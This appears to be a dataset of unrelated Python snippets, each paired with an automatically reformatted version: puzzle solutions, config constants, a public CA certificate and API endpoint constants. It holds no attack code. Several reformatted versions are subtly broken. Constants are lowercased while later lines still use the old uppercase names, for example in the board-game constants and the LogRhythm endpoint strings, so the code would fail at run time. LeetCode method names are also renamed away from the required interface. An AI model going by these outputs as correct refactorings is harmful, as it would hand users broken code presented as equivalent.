model = dict(roi_head=dict(shared_head=dict(type='FBOHead', lfb_cfg=dict(lfb_prefix_path=lfb_prefix_path, max_num_sampled_feat=max_num_sample... |
class MyTransformer(object):
def __init__(self, metrics_ok=True):
print("Init called")
def transform_input(self, X, features_names):
return X+1
def transform_output(self, X, features_names):
return X+1
| class Mytransformer(object):
def __init__(self, metrics_ok=True):
print('Init called')
def transform_input(self, X, features_names):
return X + 1
def transform_output(self, X, features_names):
return X + 1 |
class Computer():
def __init__(self,code, noun,verb, inputvalue):
self.code, self.noun, self.verb, self.input, self.p = code, noun, verb, inputvalue, 0
self.opcode = {
1:(self.summing,3),
2:(self.multiply,3),
3:(self.saveinput,1),
4:(self.outputparam,1... | class Computer:
def __init__(self, code, noun, verb, inputvalue):
(self.code, self.noun, self.verb, self.input, self.p) = (code, noun, verb, inputvalue, 0)
self.opcode = {1: (self.summing, 3), 2: (self.multiply, 3), 3: (self.saveinput, 1), 4: (self.outputparam, 1), 5: (self.jump_if_true, 2), 6: (se... |
MIN_ROW = 0
MAX_ROW = 9
MIN_COL = 0
MAX_COL = 8
NUM_ROWS = MAX_ROW - MIN_ROW + 1
NUM_COLS = MAX_COL - MIN_COL + 1
CASTLE_MIN_COL = 3
CASTLE_MAX_COL = 5
CASTLE_TOP_MIN_ROW = 0
CASTLE_TOP_MAX_ROW = 2
CASTLE_BOT_MIN_ROW = 7
CASTLE_BOT_MAX_ROW = 9
CASTLE_TOP_CENTER = (1, 4)
CASTLE_BOT_CENTER = (8, 4)
HAN_ADVANTAGE = 1.5... | min_row = 0
max_row = 9
min_col = 0
max_col = 8
num_rows = MAX_ROW - MIN_ROW + 1
num_cols = MAX_COL - MIN_COL + 1
castle_min_col = 3
castle_max_col = 5
castle_top_min_row = 0
castle_top_max_row = 2
castle_bot_min_row = 7
castle_bot_max_row = 9
castle_top_center = (1, 4)
castle_bot_center = (8, 4)
han_advantage = 1.5 |
# Linked list example
# the Node class
class Node(object):
def __init__(self, val):
self.val = val
self.next = None
def get_data(self):
return self.val
def set_data(self, val):
self.val = val
def get_next(self):
return self.next
def set_next(self, next):... | class Node(object):
def __init__(self, val):
self.val = val
self.next = None
def get_data(self):
return self.val
def set_data(self, val):
self.val = val
def get_next(self):
return self.next
def set_next(self, next):
self.next = next
class Linkedl... |
your_budget = int(input('What is your budget for it?'))
if your_budget <= 1000 :
print("You'll have to go cheap!")
if your_budget < 500 :
print('Well, you might need to save up another paycheck')
if your_budget < 250 :
print("You don't have nearly enough")
if your_budget > 1... | your_budget = int(input('What is your budget for it?'))
if your_budget <= 1000:
print("You'll have to go cheap!")
if your_budget < 500:
print('Well, you might need to save up another paycheck')
if your_budget < 250:
print("You don't have nearly enough")
if your_budget > 1000:
pri... |
def say(text):
print(f'SAY: {text}')
def play(filename):
print(f'PLAY: {filename}')
def test():
print('test')
pass
ACTIONS = {
'say': say,
'play': play,
'test': test,
}
| def say(text):
print(f'SAY: {text}')
def play(filename):
print(f'PLAY: {filename}')
def test():
print('test')
pass
actions = {'say': say, 'play': play, 'test': test} |
def intersection(lst1, lst2):
temp = set(lst2)
lst3 = [value for value in lst1 if value in temp]
if(len(lst3)>0):
return 1
else:
return 0
def subtract(x,y):
return [item for item in x if item not in y] | def intersection(lst1, lst2):
temp = set(lst2)
lst3 = [value for value in lst1 if value in temp]
if len(lst3) > 0:
return 1
else:
return 0
def subtract(x, y):
return [item for item in x if item not in y] |
pressure_arr = [80, 90, 100, 150, 120, 110, 160, 110, 100]
sum = 0
i = 0
while i < len(pressure_arr):
sum = pressure_arr[i] + sum
i = i + 1
mean = sum/len(pressure_arr)
print(mean)
| pressure_arr = [80, 90, 100, 150, 120, 110, 160, 110, 100]
sum = 0
i = 0
while i < len(pressure_arr):
sum = pressure_arr[i] + sum
i = i + 1
mean = sum / len(pressure_arr)
print(mean) |
x = { 'key' : 4 }
print(x['key'])
x['key2'] = 5
x[3] = 6
print(x)
| x = {'key': 4}
print(x['key'])
x['key2'] = 5
x[3] = 6
print(x) |
print(dir())
num=20
def f1():
n=10
print('inside:',dir())
f1()
print('outside:',dir())
| print(dir())
num = 20
def f1():
n = 10
print('inside:', dir())
f1()
print('outside:', dir()) |
class Solution:
def partitionLabels(self, S: str) -> List[int]:
partition_sizes = []
i = 0
while i < len(S):
c = S[i]
stt = i
end = i
for j in range(i, len(S)):
if c == S[j]:
end = j
charset = set... | class Solution:
def partition_labels(self, S: str) -> List[int]:
partition_sizes = []
i = 0
while i < len(S):
c = S[i]
stt = i
end = i
for j in range(i, len(S)):
if c == S[j]:
end = j
charset = s... |
maior = 0
posicao = 0
for i in range(1, 101):
n = int(input())
if n > maior:
maior = n
posicao = i
print(maior)
print(posicao)
| maior = 0
posicao = 0
for i in range(1, 101):
n = int(input())
if n > maior:
maior = n
posicao = i
print(maior)
print(posicao) |
text = input('enter text that need to be printed in incremental order:\n')
second = ''
i = len(text) - 1
j = 0
print('--------------\ninitiated\n--------------\n')
while j != i:
second = second + text[j]
print (second)
j = j + 1
print('\n--------------\ncompleted\n--------------')
| text = input('enter text that need to be printed in incremental order:\n')
second = ''
i = len(text) - 1
j = 0
print('--------------\ninitiated\n--------------\n')
while j != i:
second = second + text[j]
print(second)
j = j + 1
print('\n--------------\ncompleted\n--------------') |
class ConfigurationError(BaseException):
pass
class OverwriteError(Exception):
pass
class PrerequisiteError(Exception):
pass
class CommandLineError(Exception):
pass
class FatalError(Exception):
pass
| class Configurationerror(BaseException):
pass
class Overwriteerror(Exception):
pass
class Prerequisiteerror(Exception):
pass
class Commandlineerror(Exception):
pass
class Fatalerror(Exception):
pass |
class ConllEntry:
def __init__(self, index, word, lemma, upos, xpos, attrs, head, label, deps):
self.index, self.is_compound_entry = self._int_try_parse(index)
self.word = word
self.lemma = lemma
self.upos = upos
self.xpos = xpos
self.attrs = attrs
self.head, ... | class Conllentry:
def __init__(self, index, word, lemma, upos, xpos, attrs, head, label, deps):
(self.index, self.is_compound_entry) = self._int_try_parse(index)
self.word = word
self.lemma = lemma
self.upos = upos
self.xpos = xpos
self.attrs = attrs
(self.he... |
with open("input.txt") as input_file:
groups = input_file.read().split("\n\n")
count = 0
for group in groups:
people = [set(g) for g in group.split("\n") if len(g) > 0]
intersection = people[0].intersection(*people[1:])
count += len(intersection)
print(count)
| with open('input.txt') as input_file:
groups = input_file.read().split('\n\n')
count = 0
for group in groups:
people = [set(g) for g in group.split('\n') if len(g) > 0]
intersection = people[0].intersection(*people[1:])
count += len(intersection)
print(count) |
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, val=0, next=None):
# self.val = val
# self.next = next
class Solution:
def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:
tmp = head
num_nodes = 0
while tmp is not None:
t... | class Solution:
def remove_nth_from_end(self, head: ListNode, n: int) -> ListNode:
tmp = head
num_nodes = 0
while tmp is not None:
tmp = tmp.next
num_nodes += 1
k = num_nodes - n
prev = None
pointer = head
while k > 0:
prev... |
#
# This file is part of the Ingram Micro CloudBlue Connect Python OpenAPI Client.
#
# Copyright (c) 2021 Ingram Micro. All Rights Reserved.
#
class NotYetEvaluatedError(Exception):
pass
| class Notyetevaluatederror(Exception):
pass |
#search the biggest sum nums adjacent on the row of the triangle below
#python3.4
triangle = '''\
75
95 64
17 47 82
18 35 87 10
20 04 82 47 65
19 01 23 75 03 34
88 02 77 73 07 63 67
99 65 04 28 06 16 70 92
41 41 26 56 83 40 80 70 33
41 48 72 33 47 32 37 16 94 29
53 71 44 65 25 43 91 52 97 51 14
70 11 33 28 77 73 17 78 ... | triangle = '75\n95 64\n17 47 82\n18 35 87 10\n20 04 82 47 65\n19 01 23 75 03 34\n88 02 77 73 07 63 67\n99 65 04 28 06 16 70 92\n41 41 26 56 83 40 80 70 33\n41 48 72 33 47 32 37 16 94 29\n53 71 44 65 25 43 91 52 97 51 14\n70 11 33 28 77 73 17 78 39 68 17 57\n91 71 52 38 17 14 91 43 58 50 27 29 48\n63 66 04 68 89 53 67 3... |
# Word Size
word_size = 2
#Number of words / Depth of memory
num_words = 16
# Technology to use in $OPENRAM_TECH
tech_name = "sky130A"
# Process corners to characterize
process_corners = ["SS", "TT", "FF"]
# Voltage corners to characterize
supply_voltages = [ 1.8 ]
# Operation Temperature
temperatures = [ 0, 25, ... | word_size = 2
num_words = 16
tech_name = 'sky130A'
process_corners = ['SS', 'TT', 'FF']
supply_voltages = [1.8]
temperatures = [0, 25, 100]
output_path = 'temp'
output_name = 'sram_{0}_{1}_{2}'.format(word_size, num_words, tech_name) |
CA_CERT = '''-----BEGIN CERTIFICATE-----
MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/
MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT
DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow
PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD
Ew5EU1QgUm9vdCBDQSB... | ca_cert = '-----BEGIN CERTIFICATE-----\nMIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/\nMSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT\nDkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow\nPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD\nEw5EU1QgUm9vdCBD... |
# directory
DATA_SAVE_DIR = "datasets"
TRAINED_MODEL_DIR = "trained_models"
TENSORBOARD_LOG_DIR = "tensorboard_log"
RESULTS_DIR = "results"
# date format: '%Y-%m-%d'
TRAIN_START_DATE = "2014-01-01"
TRAIN_END_DATE = "2020-07-31"
TEST_START_DATE = "2020-08-01"
TEST_END_DATE = "2021-10-01"
TRADE_START_DATE = "2021-11... | data_save_dir = 'datasets'
trained_model_dir = 'trained_models'
tensorboard_log_dir = 'tensorboard_log'
results_dir = 'results'
train_start_date = '2014-01-01'
train_end_date = '2020-07-31'
test_start_date = '2020-08-01'
test_end_date = '2021-10-01'
trade_start_date = '2021-11-01'
trade_end_date = '2021-12-01'
indicato... |
#dictionary with lambda functions for all conversions between unit types (ex. number density -> mixing ratio)
# format:
# function = conversionTree[unit type][final unit subtype][initial unit subtype]
conversionTree = {
"concentration": {
"base unit type": "number density",
"number density": {
... | conversion_tree = {'concentration': {'base unit type': 'number density', 'number density': {'area mass density': {'arguments': ['molar mass', 'height', 'molar mass units', 'height units'], 'function': lambda concentration, args: concentration / args['molar mass'] / args['height']}, 'mixing ratio': {'arguments': ['densi... |
# File: logrhythmnextgensiem_consts.py
#
# Copyright (c) 2021 Splunk Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... | logrhythm_datetime_format = '%Y-%m-%dT%H:%M:%S.%f'
logrhythm_alarms_api = 'lr-alarm-api/alarms'
logrhythm_alarm_endpoint = LOGRHYTHM_ALARMS_API + '/{alarmid}'
logrhythm_alarmevents_endpoint = LOGRHYTHM_ALARMS_API + '/{alarmid}/events'
logrhythm_alarmsummary_endpoint = LOGRHYTHM_ALARMS_API + '/{alarmid}/summary'
logrhyt... |
def inicializar():
tab = []
for i in range(3):
linha = []
for j in range(3):
linha.append(".")
tab.append(linha)
return tab
def main():
jogo = inicializar()
print(jogo)
if __name__ == "__main__":
main()
| def inicializar():
tab = []
for i in range(3):
linha = []
for j in range(3):
linha.append('.')
tab.append(linha)
return tab
def main():
jogo = inicializar()
print(jogo)
if __name__ == '__main__':
main() |
forward, depth = 0, 0
lines = open('input.txt', 'r').readlines()
for line in lines:
command = line.split(' ')
if command[0] == 'forward':
forward += int(command[1])
elif command[0] == 'down':
depth += int(command[1])
else:
depth -= int(command[1])
print(depth * forward)
| (forward, depth) = (0, 0)
lines = open('input.txt', 'r').readlines()
for line in lines:
command = line.split(' ')
if command[0] == 'forward':
forward += int(command[1])
elif command[0] == 'down':
depth += int(command[1])
else:
depth -= int(command[1])
print(depth * forward) |
#used when there are multiple expected results with different probabilities
standard_shots = 500
standard_delta = 0.07
#used when there is only one expected result with 100% probability
entangle_shots = 100
entangle_delta = 0.00
#will print obtained probabilities vs expected after each test
display_probabilities = Fa... | standard_shots = 500
standard_delta = 0.07
entangle_shots = 100
entangle_delta = 0.0
display_probabilities = False |
test = 'BFFFBBFRRR'
up = ['R', 'B']
down = ['F', 'L']
def get_id(partitions):
inv = partitions[::-1]
pos = 0
for i in range(len(test)):
char = inv[i] # going from the left
if char in up:
pos += 2 ** i
return pos
def parse_partitions(input_file):
with open(input_file, '... | test = 'BFFFBBFRRR'
up = ['R', 'B']
down = ['F', 'L']
def get_id(partitions):
inv = partitions[::-1]
pos = 0
for i in range(len(test)):
char = inv[i]
if char in up:
pos += 2 ** i
return pos
def parse_partitions(input_file):
with open(input_file, 'r') as f:
retur... |
def esprimo (num):
if (num == 1):
res = False
else:
res = True
for i in range (2,num):
if num % i == 0:
res = False
break
return res
if __name__ == "__main__":
num = int(input("tell me a number: "))
res = esprimo(num)
if (res):... | def esprimo(num):
if num == 1:
res = False
else:
res = True
for i in range(2, num):
if num % i == 0:
res = False
break
return res
if __name__ == '__main__':
num = int(input('tell me a number: '))
res = esprimo(num)
if res:
... |
fhand = open('mbox-short.txt')
count = 0
for line in fhand:
words = line.split()
if len(words) < 3 or words[0] != 'from':
continue
print(words[1])
count += 1
print('There were %d lines in the file with from as the first word' % count)
| fhand = open('mbox-short.txt')
count = 0
for line in fhand:
words = line.split()
if len(words) < 3 or words[0] != 'from':
continue
print(words[1])
count += 1
print('There were %d lines in the file with from as the first word' % count) |
# https://www.hackerrank.com/challenges/staircase/problem
def staircase(n):
for i in range(n):
print(' ' * (n - i - 1) + '#' * (i + 1))
if __name__ == '__main__':
staircase(6)
| def staircase(n):
for i in range(n):
print(' ' * (n - i - 1) + '#' * (i + 1))
if __name__ == '__main__':
staircase(6) |
#
# @lc app=leetcode id=836 lang=python3
#
# [836] Rectangle Overlap
#
# @lc code=start
class Solution:
def isRectangleOverlap(self, rec1: List[int], rec2: List[int]) -> bool:
l1,b1,r1,t1 = rec1
l2,b2,r2,t2 = rec2
width = min(r1,r2) - max(l1,l2)
height = min(t1,t2) - max(b1,b2)
... | class Solution:
def is_rectangle_overlap(self, rec1: List[int], rec2: List[int]) -> bool:
(l1, b1, r1, t1) = rec1
(l2, b2, r2, t2) = rec2
width = min(r1, r2) - max(l1, l2)
height = min(t1, t2) - max(b1, b2)
return width > 0 and height > 0 |
# String Compression:
# Implement a method to perform basic string compression using the counts of repreated characters. For example, the string aabccccaaa would become a2b1c5a3. If the "compressed" string would not become smaller the original string, your method should return the original string. You can assume the st... | def string_compression(string):
string = [char for char in string]
result = []
count = 0
for i in range(len(string) - 1):
if string[i] == string[i + 1]:
count += 1
else:
result.append(string[i])
result.append(str(count))
result = ''.join(result)
... |
people = int(input())
lift = [int(wagon) for wagon in input().split()]
while people > 0 and sum(lift) < len(lift) * 4:
people -= 1
for wagon in range(len(lift)):
if lift[wagon] < 4:
lift[wagon] += 1
break
if sum(lift) < len(lift) * 4:
print(f"The lift has empty spots!")
eli... | people = int(input())
lift = [int(wagon) for wagon in input().split()]
while people > 0 and sum(lift) < len(lift) * 4:
people -= 1
for wagon in range(len(lift)):
if lift[wagon] < 4:
lift[wagon] += 1
break
if sum(lift) < len(lift) * 4:
print(f'The lift has empty spots!')
elif ... |
text = input()
save_digit = []
save_letter = []
others = []
for letter in text:
o = ord(letter)
if o >= 48 and o <= 57:
save_digit.append(chr(o))
elif o >= 97 and o <= 122 or o >= 65 and o <= 90:
save_letter.append(chr(o))
else:
others.append(chr(o))
print("".join(sav... | text = input()
save_digit = []
save_letter = []
others = []
for letter in text:
o = ord(letter)
if o >= 48 and o <= 57:
save_digit.append(chr(o))
elif o >= 97 and o <= 122 or (o >= 65 and o <= 90):
save_letter.append(chr(o))
else:
others.append(chr(o))
print(''.join(save_digit))
... |
def setup():
size(600, 600)
noLoop()
def draw():
background(100)
smooth()
strokeWeight(50)
stroke(200)
translate(width/2, height/2 - 100)
line(-100,0,100,0)
translate(0, 100)
scale(1.5, 1.5)
line(-100,0,100,0)
translate(0, -150)
scale(1.5, 1.5)
line... | def setup():
size(600, 600)
no_loop()
def draw():
background(100)
smooth()
stroke_weight(50)
stroke(200)
translate(width / 2, height / 2 - 100)
line(-100, 0, 100, 0)
translate(0, 100)
scale(1.5, 1.5)
line(-100, 0, 100, 0)
translate(0, -150)
scale(1.5, 1.5)
line(-... |
# Wait it's all brute force
# Always has been
first = [0, 14, 1, 3, 7, 9]
for length in [2020, 30000000]:
turns = dict()
for i in range(1, length + 1):
if i - 1 < len(first):
curr = first[i - 1]
else:
curr = succ
if curr in turns:
succ = i - turns[curr... | first = [0, 14, 1, 3, 7, 9]
for length in [2020, 30000000]:
turns = dict()
for i in range(1, length + 1):
if i - 1 < len(first):
curr = first[i - 1]
else:
curr = succ
if curr in turns:
succ = i - turns[curr]
else:
succ = 0
t... |
# Copyright (c) 2015, the Dartino project authors. Please see the AUTHORS file
# for details. All rights reserved. Use of this source code is governed by a
# BSD-style license that can be found in the LICENSE.md file.
{
'targets': [
{
'target_name': 'generate_version_cc',
'type': 'none',
'toolse... | {'targets': [{'target_name': 'generate_version_cc', 'type': 'none', 'toolsets': ['host'], 'actions': [{'action_name': 'generate_version_cc_action', 'inputs': ['tools/generate_version_cc.py', '.git/logs/HEAD', '.git/HEAD'], 'outputs': ['<(SHARED_INTERMEDIATE_DIR)/version.cc'], 'action': ['python', '<@(_inputs)', '<@(_ou... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.